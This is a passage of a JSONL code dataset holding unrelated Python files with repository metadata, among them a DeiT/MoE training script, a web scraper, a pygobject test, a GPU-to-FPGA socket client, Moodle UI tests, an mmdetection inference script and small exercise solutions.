checkpoint_model['pos_embed'] = new_pos_embed\n\n # msg = model.load_state_dict(checkpoint_model, strict=False)\n # assert set(msg.missing_keys) == {\"%s.weight\" % linear_keyword, \"%s.bias\" % linear_keyword}\n\n model.to(device)\n\n model_ema = None\n if args.model_ema:\n log.info(\"Employing EMA\")\n # Important to create EMA model after cuda(), DP wrapper, and AMP but before SyncBN and DDP wrapper\n model_ema = ModelEma(\n model,\n decay=args.model_ema_decay,\n device='cpu' if args.model_ema_force_cpu else '',\n resume='')\n\n model_without_ddp = model\n\n if \"moe\" in args.arch and (not args.moe_data_distributed):\n model = fmoe.DistributedGroupedDataParallel(model)\n sync_weights(model, except_key_words=[\"mlp.experts.h4toh\", \"mlp.experts.htoh4\"])\n else:\n model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.local_rank])\n model_without_ddp = model.module\n\n n_parameters = sum(p.numel() for p in model.parameters() if p.requires_grad)\n log.info('number of params: {}'.format(n_parameters))\n\n linear_scaled_lr = args.lr * args.batch_size * torch.distributed.get_world_size() / 512.0\n args.lr = linear_scaled_lr\n optimizer = create_optimizer(args, model_without_ddp)\n\n if \"moe\" in args.arch and (not args.moe_data_distributed):\n loss_scaler = NativeScalerForMoe(model)\n else:\n loss_scaler = NativeScaler()\n\n if not args.kaiming_sched:\n lr_scheduler, _ = create_scheduler(args, optimizer)\n else:\n lr_scheduler = None\n\n criterion = LabelSmoothingCrossEntropy()\n\n if mixup_active:\n # smoothing is handled with mixup label transform\n criterion = SoftTargetCrossEntropy()\n elif args.smoothing:\n criterion = LabelSmoothingCrossEntropy(smoothing=args.smoothing)\n else:\n criterion = torch.nn.CrossEntropyLoss()\n\n teacher_model = None\n if args.distillation_type != 'none':\n assert args.teacher_path, 'need to specify teacher-path when using distillation'\n log.info(f\"Creating teacher model: {args.teacher_model}\")\n teacher_model, _ = create_model(args, args.nb_classes, log)\n sync_weights(teacher_model, except_key_words=[\"mlp.experts.h4toh\", \"mlp.experts.htoh4\"])\n if args.teacher_path.startswith('https'):\n checkpoint = torch.hub.load_state_dict_from_url(\n args.teacher_path, map_location='cpu', check_hash=True)\n else:\n checkpoint = torch.load(args.teacher_path, map_location='cpu')\n teacher_model.load_state_dict(checkpoint['model'])\n teacher_model.to(device)\n teacher_model.eval()\n\n # wrap the criterion in our custom DistillationLoss, which\n # just dispatches to the original criterion if args.distillation_type is 'none'\n criterion = DistillationLoss(\n criterion, teacher_model, args.distillation_type, args.distillation_alpha, args.distillation_tau\n )\n\n if args.resume:\n if args.resume.startswith('https'):\n checkpoint = torch.hub.load_state_dict_from_url(\n args.resume, map_location='cpu', check_hash=True)\n elif os.path.isdir(args.resume):\n checkpoint = torch.load(os.path.join(args.resume, \"0.pth\".format(torch.distributed.get_rank())),\n map_location=\"cpu\")\n len_save = len([f for f in os.listdir(args.resume) if \"pth\" in f])\n assert len_save % torch.distributed.get_world_size() == 0\n response_cnt = [i for i in range(\n torch.distributed.get_rank() * (len_save // torch.distributed.get_world_size()),\n (torch.distributed.get_rank() + 1) * (len_save // torch.distributed.get_world_size()))]\n # merge all ckpts\n for cnt, cnt_model in enumerate(response_cnt):\n if cnt_model != 0:\n checkpoint_specific = torch.load(os.path.join(args.resume, \"{}.pth\".format(cnt_model)),\n map_location=\"cpu\")\n if cnt != 0:\n for key, item in checkpoint_specific[\"state_dict\"].items():\n checkpoint[\"state_dict\"][key] = torch.cat([checkpoint[\"state_dict\"][key], item],\n dim=0)\n else:\n checkpoint[\"state_dict\"].update(checkpoint_specific[\"state_dict\"])\n moe_dir_read = True\n else:\n checkpoint = torch.load(args.resume, map_location='cpu')\n model_without_ddp.load_state_dict(checkpoint['model'])\n if not args.eval and 'optimizer' in checkpoint and 'lr_scheduler' in checkpoint and 'epoch' in checkpoint:\n optimizer.load_state_dict(checkpoint['optimizer'])\n lr_scheduler.load_state_dict(checkpoint['lr_scheduler'])\n args.start_epoch = checkpoint['epoch'] + 1\n if args.model_ema:\n utils._load_checkpoint_for_ema(model_ema, checkpoint['model_ema'])\n if 'scaler' in checkpoint:\n loss_scaler.load_state_dict(checkpoint['scaler'])\n lr_scheduler.step(args.start_epoch)\n if args.eval:\n test_stats = evaluate(data_loader_test, model, device)\n log.info(f\"Accuracy of the network on the {len(dataset_val)} test images: {test_stats['acc1']:.1f}%\")\n return\n\n log.info(f\"Start training for {args.epochs} epochs\")\n start_time = time.time()\n\n for epoch in range(args.start_epoch, args.epochs):\n\n data_loader_train.sampler.set_epoch(epoch)\n\n train_stats = train_one_epoch(\n model, criterion, data_loader_train,\n optimizer, device, epoch, loss_scaler,\n args.clip_grad, model_ema, mixup_fn,\n set_training_mode= args.pretrained == '' or args.finetune_in_train, # keep in eval mode during finetuning,\n args=args, log=log\n )\n\n if lr_scheduler is not None:\n lr_scheduler.step(epoch)\n\n if epoch % args.test_interval == 0:\n # evaluate on validation set\n test_stats = evaluate(data_loader_val, model, device, log)\n log.info(f\"Accuracy of the network on the {len(dataset_val)} val images: {test_stats['acc1']:.1f}%\")\n\n # remember best acc@1 and save checkpoint\n acc1 = test_stats['acc1']\n is_best = acc1 > best_acc1\n best_acc1 = max(acc1, best_acc1)\n\n save_state_dict = model.state_dict()\n\n if args.arch.startswith('moe_vit') and (not args.moe_data_distributed):\n # hacking for fast saving (saving less times), might miss the best model when it shows in the early stage\n fast_saving_epoch = int(0.8 * args.epochs)\n if epoch % 10 == 0 and epoch < fast_saving_epoch:\n save_checkpoint({\n 'epoch': epoch + 1,\n 'arch': args.arch,\n 'state_dict': save_state_dict,\n 'best_acc1': best_acc1,\n 'optimizer': optimizer.state_dict(),\n }, False, save_dir=log.path,\n moe_save=args.arch.startswith('moe_vit'))\n elif epoch == fast_saving_epoch:\n save_checkpoint({\n 'epoch': epoch + 1,\n 'arch': args.arch,\n 'state_dict': save_state_dict,\n 'best_acc1': best_acc1,\n 'optimizer': optimizer.state_dict(),\n }, True, save_dir=log.path, only_best=True,\n moe_save=args.arch.startswith('moe_vit'))\n else:\n save_checkpoint({\n 'epoch': epoch + 1,\n 'arch': args.arch,\n 'state_dict': save_state_dict,\n 'best_acc1': best_acc1,\n 'optimizer': optimizer.state_dict(),\n }, is_best, save_dir=log.path, only_best=True,\n moe_save=args.arch.startswith('moe_vit'))\n else:\n if torch.distributed.get_rank() == 0: # only the first GPU saves checkpoint\n save_checkpoint({\n 'epoch': epoch + 1,\n 'arch': args.arch,\n 'state_dict': save_state_dict,\n 'best_acc1': best_acc1,\n 'optimizer' : optimizer.state_dict(),\n }, is_best, save_dir=log.path,\n moe_save=args.arch.startswith('moe_vit') and (not args.moe_data_distributed))\n\n log.info(f'Max accuracy: {best_acc1:.2f}%')\n\n total_time = time.time() - start_time\n total_time_str = str(datetime.timedelta(seconds=int(total_time)))\n log.info('Training time {}'.format(total_time_str))\n\n torch.cuda.empty_cache()\n time.sleep(5) # sleep 5 secs for models to finish the saving\n # load best model for testing\n if \"moe\" in args.arch and (not args.moe_data_distributed):\n # state_dict = read_specific_group_experts(checkpoint['state_dict'], args.local_rank, args.moe_experts)\n checkpoint_specific = torch.load(os.path.join(log.path, \"model_best.pth.tar\", \"{}.pth\".format(torch.distributed.get_rank())), map_location=\"cpu\")\n checkpoint = torch.load(os.path.join(log.path, \"model_best.pth.tar\", \"0.pth\".format(torch.distributed.get_rank())), map_location=\"cpu\")\n checkpoint[\"state_dict\"].update(checkpoint_specific[\"state_dict\"])\n state_dict = checkpoint[\"state_dict\"]\n else:\n checkpoint = torch.load(os.path.join(log.path, 'model_best.pth.tar'), map_location=\"cpu\")\n state_dict = checkpoint['state_dict']\n model.load_state_dict(state_dict)\n test_stats = evaluate(data_loader_test, model, device, log)\n log.info(\"Top 1 acc for best model is {}\".format(test_stats['acc1']))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser('DeiT training and evaluation script', parents=[get_args_parser()])\n args = parser.parse_args()\n args.output_dir = os.path.join(args.save_dir, args.experiment)\n if args.output_dir:\n Path(args.output_dir).mkdir(parents=True, exist_ok=True)\n main(args)","repo_name":"J-Rojas/UTAustin-VITA-CoMoE","sub_path":"main_finetune_deit.py","file_name":"main_finetune_deit.py","file_ext":"py","file_size_in_byte":34922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41419820427","text":"from bs4 import BeautifulSoup\nimport requests\nurl = 'http://www.blabbermouth.net'\nr = requests.get(url)\nhtml = r.text\nsoup = BeautifulSoup(html, 'lxml')\nmeta = soup.find_all(\"h1\", {\"class\": \"newsh1\"})\n\n#print(meta[0].text.strip())\nfor x in meta:\n print(x.text.strip())\n\n\n\n","repo_name":"alfredogon82/scrape","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4272999799","text":"# -*- Mode: Python -*-\n\nimport gc\nimport unittest\nimport sys\n\nfrom common import gobject\n\nclass TestProcess(unittest.TestCase):\n\n def _child_watch_cb(self, pid, condition, data):\n self.data = data\n self.loop.quit()\n\n def testChildWatch(self):\n self.data = None\n self.loop = gobject.MainLoop()\n argv = [sys.executable, '-c', 'import sys']\n pid, stdin, stdout, stderr = gobject.spawn_async(\n argv, flags=gobject.SPAWN_DO_NOT_REAP_CHILD)\n pid.close()\n gobject.child_watch_add(pid, self._child_watch_cb, 12345)\n self.loop.run()\n self.assertEqual(self.data, 12345)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"atizo/pygobject","sub_path":"tests/test_subprocess.py","file_name":"test_subprocess.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"22068479661","text":"#!/usr/bin/python\nimport os\nimport yaml\nimport datetime\nimport argparse\n\nfrom soc_latest import soc_dict, BUILD\nfrom online import gen_image_list\nfrom slcore.dt_parsers.common import load_dtb\nfrom slcore.dt_parsers.compatible import find_compatible_in_fdt\nfrom prettytable import PrettyTable\n\n\nsummary = {}\n\ndef soc_statistics(target_dir, image_list):\n skipped = 0\n soc_c = 0\n for k, v in image_list.items():\n profile = yaml.safe_load(open(os.path.join(target_dir, v['profile'])))\n path_to_dtb = profile['components']['path_to_dtb']\n if path_to_dtb is None:\n skipped += 1\n continue\n dts = load_dtb(path_to_dtb)\n compatible = find_compatible_in_fdt(dts)\n soc = None\n for cmptbl in compatible:\n if cmptbl in soc_dict:\n soc = soc_dict[cmptbl]\n break\n if soc is None:\n print('[-] unknown soc of {}'.format(compatible))\n continue\n if soc not in summary:\n summary[soc] = []\n soc_c += 1\n print('== possible soc {} in {}'.format(soc, compatible))\n summary[soc].append(profile['statistics']['mrm'])\n print('[+] Found {} socs'.format(soc_c))\n return skipped\n\n\ndef soc(argv):\n results = yaml.safe_load(open('subtarget-hashtable.yaml'))\n\n table = PrettyTable()\n table.field_names = [\n 'TARGET', 'SUBTARGET', 'SUM', 'FORMAT', 'KERNEL_EXTRACTED', 'MATCH',\n 'PREPARE', 'ROOTFS', 'USER_SPACE', 'SHELL', 'TIME'\n ]\n\n print('[-] Please wait, it takes time ...')\n for target, v in results.items():\n for subtarget, vv in v.items():\n if argv.select is not None:\n if '{}/{}'.format(target, subtarget) != argv.select:\n continue\n print('[-] Handling {}/{}'.format(target, subtarget))\n target_dir = os.path.join(BUILD, vv['hash'])\n image_list = gen_image_list(target, subtarget, target_dir)\n print('[-] Generating {} images'.format(len(image_list)))\n soc_statistics(target_dir, image_list)\n with open('soc-typeii-statistics.yaml', 'w') as f:\n yaml.safe_dump(summary, f)\n print('[-] soc typeii statistics saved as soc-typeii-statistics.yaml')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument('-j', '--json', help='Generate JSON data.', action='store_true', default=False)\n parser.add_argument('-c', '--csv', help='Generate CSV data.', action='store_true', default=False)\n parser.add_argument('-s', '--select', help='Assign a particular target/subtarget, such as oxnas/generic.')\n\n args = parser.parse_args()\n soc(args)\n","repo_name":"cyruscyliu/firmguide-evaluation","sub_path":"soc-typei-typeii-stats.py","file_name":"soc-typei-typeii-stats.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33725304142","text":"file = open(\"Day 3/input.txt\", \"r\")\nlines = file.readlines()\ntotal = 0\n\nfor line in lines:\n line = line.strip()\n mid = int(len(line)/2)\n firstHalf = line[:mid]\n secondHalf = line[mid:]\n \n for item in firstHalf:\n \n if item in secondHalf:\n if item.isupper():\n print(item, \" \", ord(item)-38)\n total += (ord(item)-38)\n \n elif item.islower():#\n print(item, \" \", ord(item)-96)\n total += (ord(item)-96)\n break\n \n\nprint(total)","repo_name":"TidalCub/AdventOfCode","sub_path":"Day 3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16189403898","text":"# This code should be run after FPGA_server.py\nimport socket\nimport numpy as np\nfrom bitstream import BitStream\nimport time\nimport tensorflow as tf\nfrom model import LeNet\n\n\nFPGA_SERVER_IP = '127.0.0.1' # The server's hostname or IP address\nFPGA_SERVER_PORT = 65432 # The port used by the server\n\nNUM_BITS = 16 # Should be divisible by 8\nNUM_BITS_DECIMAL = 12\n\nRECV_BUFFER_SIZE = 1024\n\n\ndef img_loader():\n # This function should generate images to be processed by DNN\n mnist = tf.keras.datasets.mnist\n (x_train, y_train), (x_test, y_test) = mnist.load_data('/Users/yudongtao/Research/DNN_on_FPGA/mnist.npz')\n x_train, x_test = x_train / 255.0, x_test / 255.0\n\n x_train = np.expand_dims(x_train, axis=-1)\n x_test = np.expand_dims(x_test, axis=-1)\n x_train = np.pad(x_train, ((0, 0), (2, 2), (2, 2), (0, 0)), 'constant')\n x_test = np.pad(x_test, ((0, 0), (2, 2), (2, 2), (0, 0)), 'constant')\n\n for i in range(x_test.shape[0]):\n yield x_test[i:i+1, :, :]\n\n\ndef proc_dnn_model(sess, img, op):\n # This function should take image input and generate output before last fc layer\n out = sess.run(op, feed_dict={x: img})\n return list(out[0])\n\n\ndef encode_packet(fc_input):\n # This function should take list of number inputs and convert it to fixed point numbers in bytes\n data = BitStream()\n for num in fc_input:\n tmp = round(num * (2 ** NUM_BITS_DECIMAL), 0)\n tmp = tmp % (2 ** NUM_BITS)\n # print('{:.8f} -> {:.8f}'.format(num, tmp / (2 ** NUM_BITS_DECIMAL)))\n tmp = int(tmp)\n scale = 2 ** NUM_BITS\n for i in range(NUM_BITS // 8):\n scale = scale // 256\n data.write(tmp // scale % 256, np.uint8)\n\n print(data)\n data = data.read(bytes, len(fc_input)*(NUM_BITS//8))\n print(data)\n return data\n\n\n# x = encode_packet([0.5, 1, 0.004, 0.000005, 5.3, 2.7, 100, 1000])\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((FPGA_SERVER_IP, FPGA_SERVER_PORT))\n\n x = tf.placeholder(tf.float32, (None, 32, 32, 1))\n _, fc = LeNet(x)\n\n with tf.Session() as sess:\n saver = tf.train.Saver()\n saver.restore(sess, tf.train.latest_checkpoint('.'))\n\n st_time = time.time()\n for idx, img in enumerate(img_loader()):\n load_time = time.time()\n fc_input = proc_dnn_model(sess, img, fc)\n gpu_time = time.time()\n s.sendall(encode_packet(fc_input))\n output = s.recv(RECV_BUFFER_SIZE)\n fpga_time = time.time()\n print('Received', repr(output))\n print('Elapsed Time ({}): Loading Time = {}, GPU Time = {}, FPGA Time = {}'.format(idx, load_time - st_time,\n gpu_time - load_time,\n fpga_time - gpu_time))\n input(\"Press Enter to continue...\")\n st_time = time.time()\n","repo_name":"taoyudong/DNN_on_FPGA","sub_path":"GPU_server.py","file_name":"GPU_server.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24847674551","text":"import allure\nimport pytest\n\nfrom models.add_course import CourseData\nfrom pages.application import Application\n\n\nclass TestAddCourse:\n \"\"\"Contain tests create and delete course.\"\"\"\n\n @pytest.mark.add_course\n @allure.title(\"Create new course\")\n def test_add_course(self, app: Application, login_up: None) -> None:\n \"\"\"\n Steps:\n 1. Login in system\n 2. Open admin bar\n 3. Open course category\n 4. Add new course\n 4. Check to added\n \"\"\"\n assert app.login.is_auth(), \"You are not auth\"\n data = CourseData().generate_data()\n app.course.new_course(data)\n assert (\n app.course.find_course_name() == f\"{data.full_name}\"\n ), \"Course not created\"\n\n @pytest.mark.add_course\n @allure.title(\"Delete course\")\n def test_delete_course(self, app: Application, login_up: None) -> None:\n \"\"\"\n Steps:\n 1. Login in system\n 2. Open admin bar\n 3. Open page manger courses\n 4. Delete first course\n 5. Check to deleted\n \"\"\"\n assert app.login.is_auth(), \"You are not auth\"\n app.course.delete_new_course()\n assert (\n \"был полностью удален\" in app.course.was_deleted_course()\n ), \"Course not deleted\"\n","repo_name":"rinAkhm/ui_testing_moodle","sub_path":"tests/test_add_course.py","file_name":"test_add_course.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36962904687","text":"def adjacent(pos):\n yield (pos[0]-1, pos[1]-1)\n yield (pos[0] , pos[1]-1)\n yield (pos[0]+1, pos[1]-1)\n yield (pos[0]-1, pos[1] )\n yield (pos[0]+1, pos[1] )\n yield (pos[0]-1, pos[1]+1)\n yield (pos[0] , pos[1]+1)\n yield (pos[0]+1, pos[1]+1)\n\ndef step(octopuses):\n for pos, energy in octopuses.items():\n octopuses[pos] = energy + 1\n\n flashed = set()\n while True:\n num_flashed = len(flashed)\n for pos, energy in octopuses.items():\n if energy > 9 and pos not in flashed:\n flashed.add(pos)\n for adj in adjacent(pos):\n if adj in octopuses:\n octopuses[adj] = octopuses[adj] + 1\n if len(flashed) == num_flashed:\n break\n\n for pos in flashed:\n octopuses[pos] = 0\n\n return len(flashed)\n\ndef part1(octopuses):\n octopuses = octopuses.copy()\n print(sum(step(octopuses) for _ in range(100)))\n\ndef part2(octopuses):\n octopuses = octopuses.copy()\n for i in range(1, 10**10):\n if step(octopuses) == 100:\n print(i)\n return\n\nwith open('../input/11.txt') as stream:\n octopuses = {}\n for y, line in enumerate(stream.readlines()):\n for x, c in enumerate(line.strip()):\n octopuses[(x, y)] = int(c)\n\npart1(octopuses)\npart2(octopuses)\n","repo_name":"nemmiz/aoc2021","sub_path":"python/11.py","file_name":"11.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28425509117","text":"from threading import Timer\nimport pygame\nfrom game.autoload import Autoload\n\nclass Bpm:\n def __init__(self, bpm, backtrack, backtrackDuration, nbOfLoops,callback):\n self.sound = Autoload().getInstanceAudio()\n self.sound.loadTick()\n self.backtrack = backtrack\n self.backtrackDuration=backtrackDuration\n self.nbOfLoops= nbOfLoops\n # self.saved_volume = pygame.mixer.music.get_volume()\n # print(self.saved_volume)\n # pygame.mixer.music.set_volume(1)\n\n self.bpm=bpm\n self.count=4\n self.delayBetweenBeats=60/float(self.bpm)\n print(\"delay between notes\", self.delayBetweenBeats)\n self.callback = callback\n\n self.t1 = Timer(self.delayBetweenBeats, lambda: self.playFirstTick())\n self.t2= Timer(2* self.delayBetweenBeats, lambda: self.playTick())\n self.t3 = Timer(3*self.delayBetweenBeats, lambda: self.playTick())\n self.t4 = Timer(4*self.delayBetweenBeats, lambda: self.playLastTick())\n\n self.t1.start()\n self.t2.start()\n self.t3.start()\n self.t4.start()\n\n def playFirstTick(self):\n print(\"First TICK\")\n self.sound.playTick()\n\n def playTick(self):\n print(\"TICK\")\n self.sound.playTick()\n\n\n def playLastTick(self):\n print(\"TACK - recording...\")\n # self.sound.playTick()\n self.sound.prepareBacktrackForRecord(self.backtrack)\n self.sound.playBacktrackForRecord(self.nbOfLoops)\n self.callback()\n # pygame.mixer.music.set_volume(self.saved_volume)\n \n def cancel(self):\n try:\n self.t4.cancel()\n except Exception as e:\n print(e)\n try:\n self.t3.cancel()\n except Exception as e:\n print(e)\n try:\n self.t2.cancel()\n except Exception as e:\n print(e)\n try:\n self.t1.cancel()\n except Exception as e:\n print(e)","repo_name":"o0morgan0o/raspiKeys","sub_path":"game/utils/bpm.py","file_name":"bpm.py","file_ext":"py","file_size_in_byte":1967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29600702799","text":"## parameter inistialation\n#weight\nmanpower_weight = [[\"unknown\",0.00000001],[\"ocean\",0.00000001],[\"lakes\",0.00000001],\n [\"forest\",40],[\"hills\",40],[\"mountain\",20],\n [\"plains\",60],[\"urban\",100],[\"jungle\",20],\n [\"marsh\",10],[\"desert\",1],\n [\"water_fjords\",0.00000001],[\"water_shallow_sea\",0.00000001],[\"water_deep_ocean\",0.00000001],\n [\"ice_sheet\",0.00000001]]\nmanpower_victory_points_weight = 0.20\nmanpower_provinces_buildings_weight = 1\nmanpower_coast_weight = 1.5\n\nstate_category_weight = [[\"unknown\",-10],[\"ocean\",-10],[\"lakes\",-10],\n [\"forest\",-1],[\"hills\",-1],[\"mountain\",-2],\n [\"plains\",0],[\"urban\",0],[\"jungle\",-2],\n [\"marsh\",-3],[\"desert\",-3],\n [\"water_fjords\",-10],[\"water_shallow_sea\",-10],[\"water_deep_ocean\",-10],\n [\"ice_sheet\",-10]]\nstate_category_type_lst = [\"rural\",\"town\",\"large_town\",\"city\",\"large_city\",\"metropolis\",\"megalopolis\"]\nstate_category_type_nochange_lst = [\"enclave\",\"small_island\",\"tiny_island\",\"wasteland\",\"pastoral\"]\nstate_category_victory_points_weight = 5\nstate_category_provinces_buildings_weight = 1\n\nstate_infrastructure_weight = [[\"unknown\",-10],[\"ocean\",-10],[\"lakes\",-10],\n [\"forest\",-1],[\"hills\",-1],[\"mountain\",-2],\n [\"plains\",0],[\"urban\",0],[\"jungle\",-2],\n [\"marsh\",-3],[\"desert\",-3],\n [\"water_fjords\",-10],[\"water_shallow_sea\",-10],[\"water_deep_ocean\",-10],\n [\"ice_sheet\",-10]]\ninfrastructure_victory_points_weight = 5\ninfrastructure_provinces_buildings_weight = 1\n\n\nstate_local_supplies_weight = [[\"unknown\",0],[\"ocean\",0],[\"lakes\",0],\n [\"forest\",10],[\"hills\",10],[\"mountain\",5],\n [\"plains\",20],[\"urban\",100],[\"jungle\",10],\n [\"marsh\",0],[\"desert\",0],\n [\"water_fjords\",-100],[\"water_shallow_sea\",-100],[\"water_deep_ocean\",-100],\n [\"ice_sheet\",-100]]\nlocal_supplies_victory_points_weight = 5\nlocal_supplies_buildings_weight = 20\n\n\nmax_victory_point_weight = 10 # goto change_victory_points\n","repo_name":"EOE0102/HOI4-mod-tools","sub_path":"EOE_A_Map/3_Every_Province_a_State/_paramenter.py","file_name":"_paramenter.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"72849313851","text":"from collections import defaultdict\nfrom typing import Dict, List\n\nimport attr\nimport yaml\nfrom tgalice.utils.serialization import Serializeable\n\n\n@attr.s\nclass Synset(Serializeable):\n id: str = attr.ib()\n canonical: str = attr.ib(converter=lambda x: x.lower().strip())\n synonyms: List[str] = attr.ib(factory=list, converter=lambda x: [t.lower().strip() for t in x])\n\n @property\n def all(self) -> List[str]:\n return [self.canonical] + self.synonyms\n\n\nclass Synsets:\n def __init__(self, data):\n if isinstance(data, str):\n with open(data, 'r', encoding='utf-8') as f:\n data = yaml.safe_load(f)\n self.id2set: Dict[str, Synset] = {k: Synset(id=k, **v) for k, v in data.items()}\n self.can2id: Dict[str, str] = {}\n self.text2ids: Dict[str, List[str]] = defaultdict(list)\n self.text2can: Dict[str, List[str]] = defaultdict(list)\n for ss in self.id2set.values():\n self.can2id[ss.canonical] = ss.id\n for text in ss.all:\n self.text2ids[text].append(ss.id)\n self.text2can[text].append(ss.canonical)\n\n def synonyms(self, text):\n text = text.lower().strip()\n results = set()\n for idx in self.text2ids.get(text, []):\n ss = self.id2set[idx]\n results.add(ss.canonical)\n results.update(ss.synonyms)\n return sorted(results.difference({text}))\n\n\nCITY_SYNONYMS = Synsets('config/synonyms.yaml')\n","repo_name":"avidale/rzd-russian-bots","sub_path":"utils/synsets.py","file_name":"synsets.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"2371586745","text":"import json\nimport os\nfrom tqdm import tqdm\n\navailable_gpu_ids = [0]\nos.environ['CUDA_VISIBLE_DEVICES'] = ', '.join(list(map(str, available_gpu_ids)))\n\n\ndef main():\n model_path = '/fengyouliang/model_output/work_dirs/x_ray/base_faster_r101x_c3-c5_mosaic_aug'\n model_type = model_path.split('/')[-1]\n is_multi = 'multi' in model_path\n\n run_submission(model_type, is_multi, epoch_name='latest')\n\n\ndef run_submission(model_type, is_multi, epoch_name='latest'):\n project = 'x_ray'\n\n config_file = f'../../configs/x_ray/{model_type}.py'\n if is_multi:\n checkpoint_file = f'/fengyouliang/model_output/work_dirs_multi/{project}/{model_type}/{epoch_name}.pth'\n else:\n checkpoint_file = f'/fengyouliang/model_output/work_dirs/{project}/{model_type}/{epoch_name}.pth'\n\n assert os.path.isfile(config_file), config_file\n assert os.path.isfile(checkpoint_file), checkpoint_file\n\n test_path = '/fengyouliang/datasets/x-ray/test1'\n\n save_path = f'/workspace/projects/submission/{project}'\n save_name = f'{model_type}_tta-flip'\n\n vis_save_path = f'../../vis_show/{project}/{model_type}'\n\n os.makedirs(save_path, exist_ok=True)\n os.makedirs(vis_save_path, exist_ok=True)\n\n print(f\"run in config: {config_file}\")\n print(f\"run in checkpoint: {checkpoint_file}\")\n submission_test(config_file, checkpoint_file, test_path, save_path, save_name)\n\n\ndef submission_test(config_file, checkpoint_file, test_path, save_path, save_name):\n from mmdet.apis import init_detector, inference_detector\n\n model = init_detector(config_file, checkpoint_file, device='cuda:0')\n\n results = []\n\n bar = tqdm(sorted(os.listdir(test_path)))\n for file in bar:\n bar.set_description(file)\n img = f'{test_path}/{file}'\n result = inference_detector(model, img)\n if isinstance(result, tuple):\n bbox_result, segm_result = result\n if isinstance(segm_result, tuple):\n segm_result = segm_result[0] # ms rcnn\n else:\n bbox_result, segm_result = result, None\n\n result = bbox_result\n pre_image_res = [item.tolist() for item in result]\n results.append(pre_image_res)\n\n dump_ = f'{save_path}/{save_name}.json'\n json.dump(results, open(dump_, 'w'), ensure_ascii=False, indent=4)\n print(dump_)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"fengyouliang/mmdetection_projects","sub_path":"projects/utils/x_ray/run_inference.py","file_name":"run_inference.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"70686170492","text":"import requests\nimport json\n\ncases_endpt = 'https://api.gdc.cancer.gov/cases'\n\nfields = [\n 'case_id',\n 'project.name',\n 'project.project_id',\n 'primary_site',\n 'diagnoses.age_at_diagnosis',\n 'diagnoses.tumor_stage',\n 'demographic.gender',\n 'demographic.race',\n 'exposures.alcohol_history',\n 'exposures.cigarettes_per_day',\n 'exposures.years_smoked'\n ]\n\nfields = ','.join(fields)\nfilters = {\n \"op\": \"in\",\n \"content\": {\n \"field\": \"primary_site\",\n \"value\": [\"Lung\"]\n }\n}\n\nparams= {\n \"filters\": json.dumps(filters),\n \"fields\": fields,\n \"format\": \"TSV\",\n \"size\": 580\n}\n\nresponse = requests.get(cases_endpt, params=params)\n\nf = open('LungData.tsv', \"w+\")\nf.write(response.content)\n","repo_name":"ForisKuang/CancerPredictor","sub_path":"src/scrapeCaseData.py","file_name":"scrapeCaseData.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36750063822","text":"from keras import Sequential\nfrom keras.layers import Dense\nfrom keras.optimizers.legacy.rmsprop import RMSProp\nfrom tensorflow.python.keras.utils.np_utils import to_categorical\n\nimport echidna as data\nimport boundary\n\nX_train = data.X_train\nX_validation = data.X_validation\n# one-hot-encode the data\nY_train = to_categorical(data.Y_train)\nY_validation = to_categorical(data.Y_validation)\n\nmodel = Sequential()\nmodel.add(Dense(100, activation='sigmoid'))\n# make it into a 4-layer network considered 'deep', since it's more than the shallow 3-layer system\nmodel.add(Dense(30, activation='sigmoid'))\nmodel.add(Dense(2, activation='softmax'))\n\nmodel.compile(loss='categorical_crossentropy',\n optimizer=RMSProp(learning_rate=0.001),\n metrics=['accuracy'])\n\nmodel.fit(X_train, Y_train,\n validation_data=(X_validation, Y_validation),\n epochs=30000, batch_size=25)\n\nboundary.show(model, data.X_train, data.Y_train)\n","repo_name":"jupiterhub/supervisedlearning","sub_path":"deep/with_keras.py","file_name":"with_keras.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21874778080","text":"import sys\n\ninput = sys.stdin.readline\nn, m = map(int, input().split())\npan = []\nfor i in range(n):\n pan.append(list(map(int, input().split())))\nsum_pan = [[0] * n for _ in range(n)]\nfor i in range(n):\n for j in range(n):\n left = 0\n up = 0\n left_up = 0\n if i - 1 >= 0: # 맨 위가 아니면\n up = sum_pan[i - 1][j]\n if j - 1 >= 0: # 맨 왼쪽이 아니면\n left = 